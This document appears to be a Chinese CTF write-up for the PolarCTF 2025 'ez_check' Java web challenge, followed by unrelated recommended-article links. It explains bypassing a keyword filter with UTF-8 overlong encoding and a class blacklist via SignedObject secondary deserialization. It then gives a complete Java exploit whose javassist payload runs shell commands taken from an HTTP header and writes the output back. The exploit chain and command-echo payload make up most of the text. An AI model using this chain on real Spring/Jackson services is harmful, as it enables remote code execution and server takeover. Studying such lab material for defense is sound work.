Polarctf2025夏季赛 web java ez_check

第一次自己做出一个java,值得小小的记录,polar的java真得非常友好

反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后

经过一次kmp检查,再由SafeObjectInputStream来反序列化

看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过

大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412

kmp_check

kmp顾名思义就是对序列化字符串明文的检查 ,这个很容易绕,直接utf-8 overlong encoding就行

大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)

SafeObjectInputStream_check

然后是SafeObjectInputStream,黑名单

java 复制代码
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));

把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException没了,换成EventListenerList即可

需要注意的是,signObject里的序列化数据也要用utf-8 overlong ,不只是signObject,在这里卡了好一会,

如何设置呢?看signObject里触发二次反序列化的地方

就可以知道序列化数据是this.content,可以反射赋值,是private的,先setAccesible就行

还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题

polar的靶场不出网,打springecho

exp

java 复制代码
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {
    public static void main(String[] args) throws Exception {
        // 设置signobject内的反序列化
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});
        setFieldValue(templatesImpl, "_name", "hello");
        setFieldValue(templatesImpl, "_tfactory", null);
        //JdkDynamicAopProxy 动态代理 使链子稳定
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes2 = new POJONode(proxyObj);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",jsonNodes2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);
        //反射设置序列化数据
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new CustomObjectOutputStream(b);
        a.writeObject(exp);
        a.flush();
        a.close();
        setFieldValue(signedObject,"content",b.toByteArray());
        //接上EventListenerList
        POJONode jsonNodes = new POJONode(signedObject);
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(jsonNodes);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list))))
        {
            System.out.println("No");
        }
        System.out.println( URLEncoder.encode(serial(list)));
//        deserial(serial(list));
    }

    public static byte[] get_calc() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
    public static byte[] genPayload() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
                "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
                "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
                "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
                "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
                "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
                "                httpresponse.getWriter().write(new String(result));\n" +
                "                httpresponse.getWriter().flush();\n" +
                "                httpresponse.getWriter().close();\n" +
                "        }", clazz));
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz.toBytecode();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);
        coos.writeObject(o);

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return(base64String);

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
相关推荐
心之语歌3 分钟前
Java高效压缩技巧:ZipOutputStream详解
java·后端
booooooty6 分钟前
基于Spring AI Alibaba的多智能体RAG应用
java·人工智能·spring·多智能体·rag·spring ai·ai alibaba
猴哥源码7 分钟前
基于Java+SpringBoot的健身房管理系统
java·spring boot
极光雨雨12 分钟前
Spring Bean 控制销毁顺序的方法总结
java·spring
猴哥源码16 分钟前
基于Java+SpringBoot的三国之家网站
java·spring boot
念九_ysl30 分钟前
Java 使用 OpenHTMLToPDF + Batik 将含 SVG 遮罩的 HTML 转为 PDF 的完整实践
java·开发语言·pdf
yaoxin52112340 分钟前
124. Java 泛型 - 有界类型参数
java·开发语言
Spirit_NKlaus42 分钟前
解决HttpServletRequest无法获取@RequestBody修饰的参数
java·spring boot·spring
不死的精灵1 小时前
【Java21】在spring boot中使用ScopedValue
java·spring boot·后端
勤奋的知更鸟1 小时前
Java 编程之模板方法模式
java·开发语言·模板方法模式